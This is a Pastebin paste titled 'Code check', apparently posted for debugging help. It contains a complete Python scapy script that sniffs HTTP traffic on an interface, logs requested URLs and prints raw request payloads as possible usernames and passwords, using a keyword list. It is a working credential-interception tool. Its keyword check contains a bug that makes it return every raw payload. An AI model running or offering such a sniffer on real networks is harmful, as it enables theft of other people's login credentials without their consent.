Advertisement
Guest User

Code check

a guest
Feb 10th, 2021
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.90 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import scapy.all as scapy
  3. from scapy.layers import http
  4.  
  5. def sniff(interface):
  6. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
  7.  
  8. def get_url(packet):
  9. return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
  10.  
  11. def get_login_info(packet):
  12. if packet.haslayer(scapy.Raw):
  13. load = str(packet[scapy.Raw].load)
  14. keywords = ["username", "email", "login", "user", "password", "admin", "pass", "uname"]
  15. for keyword in keywords:
  16. if keyword in keywords:
  17. return load
  18.  
  19. def process_sniffed_packet(packet):
  20. if packet.haslayer(http.HTTPRequest):
  21. url = get_url(packet)
  22. print("[+] HTTP Request >> " + url.decode())
  23. login_info = get_login_info(packet)
  24. if login_info:
  25. print("\n\n[+] Possible username/password > " + login_info + "\n\n")
  26.  
  27. sniff("eth0")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement